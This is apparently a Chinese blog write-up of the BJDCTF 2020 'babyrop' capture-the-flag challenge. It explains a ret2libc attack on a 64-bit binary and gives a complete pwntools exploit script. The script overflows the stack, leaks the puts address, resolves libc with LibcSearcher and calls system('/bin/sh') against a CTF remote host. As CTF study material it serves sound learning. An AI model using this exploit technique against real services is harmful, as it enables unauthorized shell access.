【PWN · ret2libc】[BJDCTF 2020]babyrop

这题是经典的ret2libc,而且保护开的也不多,实际上,这篇博客的意义更大:

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

目录

前言

一、题目

二、思路

三、exp具体编写

总结


前言

简单而纯粹的ret2libc,更推荐上面那篇博客哦~相当于在这题基础上又加了一些保护,算是plus版


一、题目

【PWN · ret2libc】[BJDCTF 2020]babyrop_第1张图片

存在栈溢出漏洞 

没有什么大的保护

64位,动态链接。

注意64bit程序,函数的前六个参数存在寄存器中!构造puts调用时应用ROPgadget找'pop|ret',将参数放入寄存器中。

没有system函数。

二、思路

没有system,更没有后门函数,简单的ret2text不行;唯一保护还保护住了栈执行属性,ret2shellcode一般也不行;而动态链接,一般ret2syscall不行。system从哪里找呢?似乎只剩下ret2libc。

存在puts,可以打印地址。

然后就是ret2libc的一般过程了:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

      a、求libc的基地址(函数动态地址-函数偏移量)

      b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

三、exp具体编写

重要的要点都在注释中标明。

这篇博客的注释写的更详细(几乎每一行都事无巨细地打了注释)

【PWN · ret2libc】[2021 鹤城杯]babyof_Mr_Fmnwon的博客-CSDN博客

from pwn import *
from pwn import p64,u64
from LibcSearcher import *

context(arch="amd64",os="linux",log_level="debug")

file=ELF("./pwn")

pop_rdi_ret=0x400733 #将puts参数放入
ret=0x4004c9

payload=b'a'*(0x20+0x8) #填充buff及ebp
payload+=p64(pop_rdi_ret)+p64(file.got['puts'])  #puts参数:puts的地址
payload+=p64(file.plt['puts']) #调用puts,打印puts的real_addr
payload+=p64(file.symbols["main"]) #返回地址

io=process('./pwn')
io=remote("node2.anna.nssctf.cn",28889)
io.recvuntil('story!\n')
io.sendline(payload)

addr_puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

#===================libc=====================
libc=LibcSearcher('puts',addr_puts)
#libc6_2.31-0ubuntu9.10_amd64 本地可以
#libc6_2.23-0ubuntu10_amd64   远程可以
libc_addr=addr_puts-libc.dump('puts')
bin_sh_addr=libc_addr+libc.dump('str_bin_sh')
system_addr=libc_addr+libc.dump('system')
#============================================

payload=b'a'*(0x20+0x8)
payload+=p64(ret)         #system被调用时,其中有一个汇编指令,要求栈顶16字节对齐
payload+=p64(pop_rdi_ret)+p64(bin_sh_addr)
payload+=p64(system_addr)
io.recvuntil('story!\n')
io.sendline(payload)
io.interactive()


总结

前些日子为了准备期末考,长时间没有进行CTF-PWN的学习。而ret2libc一直都是不太熟练地点。

多刷多总结。

加油!

你可能感兴趣的:(【PWN,·,ret2libc】,linux,运维,服务器)